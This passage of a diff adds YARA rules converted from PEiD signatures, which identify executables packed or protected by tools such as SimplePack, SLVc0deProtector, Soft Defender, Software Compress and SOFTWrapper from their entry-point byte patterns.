+        $a = {4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00}
+    condition:
+        $a
+}
+
+rule PEiD_02097_SimplePack_V1_1X__Method2_____bagie_
+{
+    meta:
+        description = "[SimplePack V1.1X (Method2) -> bagie]"
+        ep_only = "false"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04}
+    condition:
+        $a
+}
+
+rule PEiD_02098_SimplePack_V1_1X__Method2_____bagie_
+{
+    meta:
+        description = "[SimplePack V1.1X (Method2) -> bagie]"
+        ep_only = "false"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02099_SimplePack_V1_1X_V1_2X__Method2_____bagie_
+{
+    meta:
+        description = "[SimplePack V1.1X-V1.2X (Method2) -> bagie]"
+        ep_only = "true"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 ?? 01 00 00 50 45 00 00 4C 01 02 00}
+    condition:
+        $a
+}
+
+rule PEiD_02100_SimplePack_V1_2_build_30_09__Method2_____bagie_
+{
+    meta:
+        description = "[SimplePack V1.2.build.30.09 (Method2) -> bagie]"
+        ep_only = "true"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 86 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04}
+    condition:
+        $a
+}
+
+rule PEiD_02101_SimplePack_V1_21_build_09_09__Method2_____bagie_
+{
+    meta:
+        description = "[SimplePack V1.21.build.09.09 (Method2) -> bagie]"
+        ep_only = "true"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 8A 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04}
+    condition:
+        $a
+}
+
+rule PEiD_02102_SimplePack_V1_X__Method2_____bagie_
+{
+    meta:
+        description = "[SimplePack V1.X (Method2) -> bagie]"
+        ep_only = "true"
+    strings:
+        $a = {4D 5A 90 EB 01 00 52 E9 ?? 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04}
+    condition:
+        $a
+}
+
+rule PEiD_02103_SkD_Undetectabler_3__No_FSG_2_Method_____SkD_
+{
+    meta:
+        description = "[SkD Undetectabler 3 (No FSG 2 Method) -> SkD]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 10 02 00 00 68 00 02 00 00 8D 85 F8 FD FF FF 50 6A 00 FF 15 38 10 00 01 50 FF 15 3C 10 00 01 8D 8D F8 FD FF FF 51 E8 4F FB FF FF 83 C4 04 8B 15 ?? 16 00 01 52 A1 ?? 16 00 01 50 E8 50 FF FF FF 83 C4 08 A3 ?? 16 00 01 C7 85 F4 FD FF FF 00 00 00 00 EB 0F 8B 8D F4 FD FF FF 83 C1 01 89 8D F4 FD FF FF 8B 95 F4 FD FF FF 3B 15 ?? 16 00 01 73 1C 8B 85 F4 FD FF FF 8B 0D ?? 16 00 01 8D 54 01 07 81 FA 74 10 00 01 75 02 EB 02 EB C7 8B 85 F4 FD FF FF 50 E8 ?? 00 00 00 83 C4 04 89 85 F0 FD FF FF 8B 8D F0 FD FF FF 89 4D FC C7 45 F8 00 00 00 00 EB 09 8B 55 F8 83 C2 01 89 55 F8 8B 45 F8 3B 85 F4 FD FF FF 73 15 8B 4D FC 03 4D F8 8B 15 ?? 16 00 01 03 55 F8 8A 02 88 01 EB D7 83 3D ?? 16 00 01 00 74}
+    condition:
+        $a
+}
+
+
+rule PEiD_02104_SkD_Undetectabler_Pro_2_0__No_UPX_Method_____SkD_
+{
+    meta:
+        description = "[SkD Undetectabler Pro 2.0 (No UPX Method) -> SkD]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 FC 26 00 10 E8 EC F3 FF FF 6A 0F E8 15 F5 FF FF E8 64 FD FF FF E8 BB ED FF FF 8D 40}
+    condition:
+        $a
+}
+
+rule PEiD_02105_SLR__OPTLINK___1__
+{
+    meta:
+        description = "[SLR (OPTLINK) (1)]"
+        ep_only = "true"
+    strings:
+        $a = {87 C0 EB ?? 71 ?? 02 D8}
+    condition:
+        $a
+}
+rule PEiD_02106_SLR__OPTLINK__
+{
+    meta:
+        description = "[SLR (OPTLINK)]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 8E DF FA 8E D7 81 C4 ?? ?? FB B4 30 CD 21}
+    condition:
+        $a
+}
+rule PEiD_02107_SLVc0deProtector_0_60____SLV___ICU_
+{
+    meta:
+        description = "[SLVc0deProtector 0.60 -> SLV / ICU]"
+        ep_only = "false"
+    strings:
+        $a = {EB 02 FA 04 E8 49 00 00 00 69 E8 49 00 00 00 95 E8 4F 00 00 00 68 E8 1F 00 00 00 49 E8 E9 FF FF FF 67 E8 1F 00 00 00 93 E8 31 00 00 00 78 E8 DD}
+    condition:
+        $a
+}
+rule PEiD_02108_SLVc0deProtector_1_1____SLV__h__
+{
+    meta:
+        description = "[SLVc0deProtector 1.1 -> SLV (h)]"
+        ep_only = "false"
+    strings:
+        $a = {E8 01 00 00 00 A0 5D EB 01 69 81 ED 5F 1A 40 00 8D 85 92 1A 40 00 F3 8D 95 83 1A 40 00 8B C0 8B D2 2B C2 83 E8 05 89 42 01 E8 FB FF FF FF 69 83 C4 08 E8 06 00 00 00 69 E8 F2 FF FF FF F3 B9 05 00 00 00 51 8D B5 BF 1A 40 00 8B FE B9 58 15 00 00 AC 32 C1 F6}
+    condition:
+        $a
+}
+
+rule PEiD_02109_SLVc0deProtector_1_1x____SLV___ICU_
+{
+    meta:
+        description = "[SLVc0deProtector 1.1x -> SLV / ICU]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 C6 00 EB C6 40 01 08 FF E0 E9 4C ?? ?? 00}
+    condition:
+        $a
+}
+rule PEiD_02110_SLVc0deProtector_v1_1____SLV__h__
+{
+    meta:
+        description = "[SLVc0deProtector v1.1 -> SLV (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 C6 00 EB C6 40 01 08 FF E0 E9 4C}
+    condition:
+        $a
+}
+
+rule PEiD_02111_SLVc0deProtector_v1_1____SLV__h__
+{
+    meta:
+        description = "[SLVc0deProtector v1.1 -> SLV (h)]"
+        ep_only = "false"
+    strings:
+        $a = {E8 01 00 00 00 A0 5D EB 01 69 81 ED 5F 1A 40 00 8D 85 92 1A 40 00 F3 8D 95 83 1A 40 00 8B C0 8B D2 2B C2 83 E8 05 89 42 01 E8 FB FF FF FF 69 83 C4 08 E8 06 00 00 00 69 E8 F2 FF FF FF F3 B9 05 00 00 00 51 8D B5 BF 1A 40 00 8B FE B9 58 15 00 00 AC 32 C1 F6 D0 EB 01 00 D0 C0 FE C8 02 C1 AA E2 EF 59 E2 DE B7 FE AB E1 24 C8 0C 88 7A E1 B1 6A F7 95 83 1B A8 7F F8 A8 B0 1A 8B 08 91 47 6C 5A 88 6C 65 39 85 DB CB 54 3D B9 24 CF 4C AE C6 63 74 2C 63 F0 C8 18 0B 97 6B 79 63 A8 AB B8 78 A9 30 2F 2B DA 18 AC 35 45 36 BC 0D 7D 24 D1 51 3C E6 34 11 5A 43 06 24 89 FA 74 30}
+    condition:
+        $a
+}
+rule PEiD_02112_SmartE____Microsoft_
+{
+    meta:
+        description = "[SmartE -> Microsoft]"
+        ep_only = "true"
+    strings:
+        $a = {EB 15 03 00 00 00 ?? 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 8F 07 00 00 89 85 83 07 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 2F 06 00 00 E8 8E 04 00 00 49 0F 88 23 06}
+    condition:
+        $a
+}
+
+rule PEiD_02113_SmokesCrypt_v1_2_
+{
+    meta:
+        description = "[SmokesCrypt v1.2]"
+        ep_only = "true"
+    strings:
+        $a = {60 B8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8A 14 08 80 F2 ?? 88 14 08 41 83 F9 ?? 75 F1}
+    condition:
+        $a
+}
+
+rule PEiD_02114_Soft_Defender_1_1x____Randy_Li_
+{
+    meta:
+        description = "[Soft Defender 1.1x -> Randy Li]"
+        ep_only = "true"
+    strings:
+        $a = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44}
+    condition:
+        $a
+}
+rule PEiD_02115_Soft_Defender_v1_0___v1_1_
+{
+    meta:
+        description = "[Soft Defender v1.0 - v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD ?? 59 9C 50 74 0A 75 08 E8 59 C2 04 ?? 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 ?? ?? ?? ?? 58 05 BA 01 ?? ?? 03 C8 74 BE 75 BC E8}
+    condition:
+        $a
+}
+
+rule PEiD_02116_Soft_Defender_v1_12_
+{
+    meta:
+        description = "[Soft Defender v1.12]"
+        ep_only = "false"
+    strings:
+        $a = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD 00 59 9C 50 74 0A 75 08 E8 59 C2 04 00 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 BE 01 00 00 03 C8 74 BD 75 BB E8}
+    condition:
+        $a
+}
+
+rule PEiD_02117_Soft_Defender_v1_1x____Randy_Li_
+{
+    meta:
+        description = "[Soft Defender v1.1x -> Randy Li]"
+        ep_only = "true"
+    strings:
+        $a = {74 07 75 05 ?? ?? ?? ?? ?? 74 1F 75 1D ?? 68 ?? ?? ?? 00 59 9C 50 74 0A 75 08 ?? 59 C2 04 00 ?? ?? ?? E8 F4 FF FF FF ?? ?? ?? 78 0F 79 0D}
+    condition:
+        $a
+}
+rule PEiD_02118_SoftComp_1_x____BG_Soft_PT_
+{
+    meta:
+        description = "[SoftComp 1.x -> BG Soft PT]"
+        ep_only = "false"
+    strings:
+        $a = {E8 00 00 00 00 81 2C 24 3A 10 41 00 5D E8 00 00 00 00 81 2C 24 31 01 00 00 8B 85 2A 0F 41 00 29 04 24 8B 04 24 89 85 2A 0F 41 00 58 8B 85 2A 0F 41 00}
+    condition:
+        $a
+}
+
+rule PEiD_02119_SoftDefender_1_x____Randy_Li_
+{
+    meta:
+        description = "[SoftDefender 1.x -> Randy Li]"
+        ep_only = "true"
+    strings:
+        $a = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD 00 59 9C 50 74 0A 75 08 E8 59 C2 04 00 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 E6 01 00 00 03 C8 74 BD 75 BB E8 00}
+    condition:
+        $a
+}
+
+rule PEiD_02120_SoftDefender_1_x____Randy_Li_
+{
+    meta:
+        description = "[SoftDefender 1.x -> Randy Li]"
+        ep_only = "true"
+    strings:
+        $a = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD 00 59 9C 50 74 0A 75 08 E8 59 C2 04 00 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 E6 01 00 00 03 C8 74 BD 75 BB E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_02121_SoftProtect____SoftProtect_by_ru_
+{
+    meta:
+        description = "[SoftProtect -> SoftProtect.by.ru]"
+        ep_only = "true"
+    strings:
+        $a = {E8 0C 15 00 00 8D 85 2F 14 00 00 C7 00 00 00 00 00 E8 29 0F 00 00 E8 F6 14 00 00 8D 85 20 01 00 00 50 E8 AA 16 00 00 83}
+    condition:
+        $a
+}
+
+rule PEiD_02122_SoftProtect____SoftProtect_by_ru_
+{
+    meta:
+        description = "[SoftProtect -> SoftProtect.by.ru]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 E3 60 E8 03 ?? ?? ?? D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 60 E8 03 ?? ?? ?? 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 EB 01 83 9C EB 01 D5 EB 08 35 9D EB 01 89 EB 03 0B EB F7 E8 ?? ?? ?? ?? 58 E8 ?? ?? ?? ?? 59 83 01 01 80 39 5C}
+    condition:
+        $a
+}
+rule PEiD_02123_SoftProtect____SoftProtect_by_ru_
+{
+    meta:
+        description = "[SoftProtect -> SoftProtect.by.ru]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 E3 60 E8 03 ?? ?? ?? D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 60 E8 03 ?? ?? ?? 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 EB 01 83 9C EB 01 D5 EB 08 35 9D EB 01 89 EB 03 0B EB F7 E8 ?? ?? ?? ?? 58 E8 ?? ?? ?? ?? 59 83 01 01 80 39 5C 75 F2 33 C4 74 0C 23 C4 0B C4 C6 01 59 C6 01 59 EB E2 90 E8 44 14 ?? ?? 8D 85 CF 13 ?? ?? C7 ?? ?? ?? ?? ?? E8 61 0E ?? ?? E8 2E 14 ?? ?? 8D 85 E4 01 ?? ?? 50 E8 E2 15 ?? ?? 83 BD 23 01 ?? ?? 01 75 07 E8 21 0D ?? ?? EB 09 8D 85 CF 13 ?? ?? 83 08 01 83 BD 1F 01 ?? ?? 01 75 07 E8 3E 0C ?? ?? EB 05 E8 A8 0C ?? ?? E8 B3 02 ?? ?? 8D 85 63 02 ?? ?? 50 E8 A3 15 ?? ?? 8D 85 F5 02 ?? ?? 50 E8 97 15 ?? ?? E8 E2 01 ?? ?? 8D 85 09 05 ?? ?? 50 E8 86 15 ?? ?? 8D 85 F8 0F ?? ?? 50 E8 7A 15 ?? ?? 8D 85 88 0F ?? ?? 50 E8}
+    condition:
+        $a
+}
+rule PEiD_02124_SoftProtect____www_softprotect_by_ru_
+{
+    meta:
+        description = "[SoftProtect -> www.softprotect.by.ru]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? C7 00 00 00 00 00 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? 01}
+    condition:
+        $a
+}
+
+rule PEiD_02125_SoftSentry_v2_11_
+{
+    meta:
+        description = "[SoftSentry v2.11]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 E9 50}
+    condition:
+        $a
+}
+
+rule PEiD_02126_SoftSentry_v3_0_
+{
+    meta:
+        description = "[SoftSentry v3.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 E9 B0 06}
+    condition:
+        $a
+}
+rule PEiD_02127_Software_Compress____BG_Software_
+{
+    meta:
+        description = "[Software Compress -> BG Software]"
+        ep_only = "true"
+    strings:
+        $a = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8}
+    condition:
+        $a
+}
+
+rule PEiD_02128_Software_Compress____BG_Software_
+{
+    meta:
+        description = "[Software Compress -> BG Software]"
+        ep_only = "true"
+    strings:
+        $a = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 FF 74 24 24 6A 40 FF 95 1A 0F 41 00 89 44 24 1C 61 C2 04 00 E8 00 00 00 00 81 2C 24 3A 10 41 00 5D E8 00 00 00 00 81 2C 24 31 01 00 00 8B 85 2A 0F 41 00 29 04 24 8B 04 24 89 85 2A 0F 41 00 58 8B 85 2A 0F 41 00 8B 50 3C 03 D0 8B 92 80 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_02129_Software_Compress_v1_2____BG_Software_Protect_Technologies__h__
+{
+    meta:
+        description = "[Software Compress v1.2 -> BG Software Protect Technologies (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 FF 74 24 24 6A 40 FF 95 1A 0F 41 00 89 44 24 1C 61 C2 04 00 E8 00 00 00 00 81 2C 24 3A 10 41 00 5D E8 00 00 00 00 81 2C 24 31 01 00 00 8B 85 2A 0F 41 00 29 04 24}
+    condition:
+        $a
+}
+
+rule PEiD_02130_Software_Compress_V1_2____BG_Software_Protect_Technologies_
+{
+    meta:
+        description = "[Software Compress V1.2 -> BG Software Protect Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00}
+    condition:
+        $a
+}
+rule PEiD_02131_Software_Compress_v1_4_LITE____BG_Software_Protect_Technologies__h__
+{
+    meta:
+        description = "[Software Compress v1.4 LITE -> BG Software Protect Technologies (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 81 2C 24 AA 1A 41 00 5D E8 00 00 00 00 83 2C 24 6E 8B 85 5D 1A 41 00 29 04 24 8B 04 24 89 85 5D 1A 41 00 58 8B 85 5D 1A 41 00 8B 50 3C 03 D0 8B 92 80 00 00 00 03 D0 8B 4A 58 89 8D 49 1A 41 00 8B 4A 5C 89 8D 4D 1A 41 00 8B 4A 60 89 8D 55 1A}
+    condition:
+        $a
+}
+
+rule PEiD_02132_Software_Compress_v1_4_LITE____BG_Software_Protect_Technologies__h__
+{
+    meta:
+        description = "[Software Compress v1.4 LITE -> BG Software Protect Technologies (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 81 2C 24 AA 1A 41 00 5D E8 00 00 00 00 83 2C 24 6E 8B 85 5D 1A 41 00 29 04 24 8B 04 24 89 85 5D 1A 41 00 58 8B 85 5D 1A 41 00 8B 50 3C 03 D0 8B 92 80 00 00 00 03 D0 8B 4A 58 89 8D 49 1A 41 00 8B 4A 5C 89 8D 4D 1A 41 00 8B 4A 60 89 8D 55 1A 41 00 8B 4A 64 89 8D 51 1A 41 00 8B 4A 74 89 8D 59 1A 41 00 68 00 20 00 00 E8 D2 00 00 00 50 8D 8D 00 1C 41 00 50 51 E8 1B 00 00 00 83 C4 08 58 8D 78 74 8D B5 49 1A 41 00 B9 18 00 00 00 F3 A4 05 A4 00 00 00 50 C3 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 FF 74 24 24 6A 40 FF 95 4D 1A 41 00 89 44 24 1C 61 C2 04}
+    condition:
+        $a
+}
+
+rule PEiD_02133_SoftWrap_
+{
+    meta:
+        description = "[SoftWrap]"
+        ep_only = "true"
+    strings:
+        $a = {52 53 51 56 57 55 E8 ?? ?? ?? ?? 5D 81 ED 36 ?? ?? ?? E8 ?? 01 ?? ?? 60 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F}
+    condition:
+        $a
+}
+rule PEiD_02134_SOFTWrapper_for_Win9x_NT__Evaluation_Version__
+{
+    meta:
+        description = "[SOFTWrapper for Win9x/NT (Evaluation Version)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 8B C5 2D ?? ?? ?? 00 50 81 ED 05 00 00 00 8B C5 2B 85 03 0F 00 00 89 85 03 0F 00 00 8B F0 03 B5 0B 0F 00 00 8B F8 03 BD 07 0F 00 00 83 7F 0C 00 74 2B 56 57 8B 7F 10 03 F8 8B 76 10 03 F0 83 3F 00 74 0C 8B 1E 89 1F 83 C6 04 83 C7 04 EB EF}
+    condition:
+        $a
+}
+
+rule PEiD_02135_SOFTWrapper_for_Win9x_NT__Evaluation_Version__
+{
+    meta:
+        description = "[SOFTWrapper for Win9x/NT (Evaluation Version)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 8B C5 2D ?? ?? ?? 00 50 81 ED 05 00 00 00 8B C5 2B 85 03 0F 00 00 89 85 03 0F 00 00 8B F0 03 B5 0B 0F 00 00 8B F8 03 BD 07 0F 00 00 83 7F 0C 00 74 2B 56 57 8B 7F 10 03 F8 8B 76 10 03 F0 83 3F 00 74 0C 8B 1E 89 1F 83 C6 04 83 C7 04 EB EF 5F 5E 83 C6 14 83 C7 14 EB D3 00 00 00 00 8B F5 81 C6 0D 0A 00 00 B9 0C 00 00 00 8B 85 03 0F 00 00 01 46 02 83 C6 06 E2 F8 E8 06 08 00 00 68 00 01 00 00 8D 85 DD 0D 00 00 50 6A 00 E8 95 09 00 00 8B B5 03 0F 00 00 66 81 3E 4D 5A 75 33 03 76 3C 81 3E 50 45 00 00 75 28 8B 46 28 03 85 03 0F 00 00 3B C5 74 1B 6A 30 E8 99 09 00 00 6A 30 8D 85 DD 0D 00 00 50 8D 85 2B 0F 00 00 E9 55 03 00 00 66 8B 85 9D 0A 00 00 F6 C4 80 74 31 E8 6A 07 00 00 0B C0 75 23 6A 40 E8 69 09 00 00 6A 40 8D 85 DD 0D 00 00 50 8B 9D 17 0F}
+    condition:
+        $a
+}
+
+rule PEiD_02136_Spalsher_1_0___3_0____Amok_
+{
+    meta:
+        description = "[Spalsher 1.0 - 3.0 -> Amok]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 8B 44 24 24 E8 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02137_Spalsher_v1_0___v3_0_
+{
+    meta:
+        description = "[Spalsher v1.0 - v3.0]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 8B 44 24 24 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 50 E8 ED 02 ?? ?? 8C C0 0F 84}
+    condition:
+        $a
+}
+rule PEiD_02138_SPEC_b2_
+{
+    meta:
+        description = "[SPEC b2]"
+        ep_only = "true"
+    strings:
+        $a = {55 57 51 53 E8 ?? ?? ?? ?? 5D 8B C5 81 ED ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 83 E8 09 89 85 ?? ?? ?? ?? 0F B6}
+    condition:
+        $a
+}
+
+rule PEiD_02139_SPEC_b3_
+{
+    meta:
+        description = "[SPEC b3]"
+        ep_only = "true"
+    strings:
+        $a = {5B 53 50 45 43 5D E8 ?? ?? ?? ?? 5D 8B C5 81 ED 41 24 40 ?? 2B 85 89 26 40 ?? 83 E8 0B 89 85 8D 26 40 ?? 0F B6 B5 91 26 40 ?? 8B FD}
+    condition:
+        $a
+}
+rule PEiD_02140_Special_EXE_Password_Protector_v1_0_
+{
+    meta:
+        description = "[Special EXE Password Protector v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E 77}
+    condition:
+        $a
+}
+
+rule PEiD_02141_Special_EXE_Pasword_Protector_1_01__Eng_____Pavol_Cerven_
+{
+    meta:
+        description = "[Special EXE Pasword Protector 1.01 (Eng) -> Pavol Cerven]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E 77 00 00 8D 95 C6 77 00 00 8D 8D FF 77 00 00 55 68 00 20 00 00 51 52 6A 00 FF 95 04 7A 00 00 5D 6A 00 FF 95 FC 79 00 00 8D 8D 60 78 00 00 8D 95 85 01 00 00 55 68 00}
+    condition:
+        $a
+}
+
+
+rule PEiD_02142_Special_EXE_Pasword_Protector_v1_01__Eng_____Pavol_Cerven_
+{
+    meta:
+        description = "[Special EXE Pasword Protector v1.01 (Eng) -> Pavol Cerven]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E}
+    condition:
+        $a
+}
+rule PEiD_02143_Special_EXE_Pasword_Protector_v1_01__Eng_____Pavol_Cerven_
+{
+    meta:
+        description = "[Special EXE Pasword Protector v1.01 (Eng) -> Pavol Cerven]"
+        ep_only = "true"
+    strings:
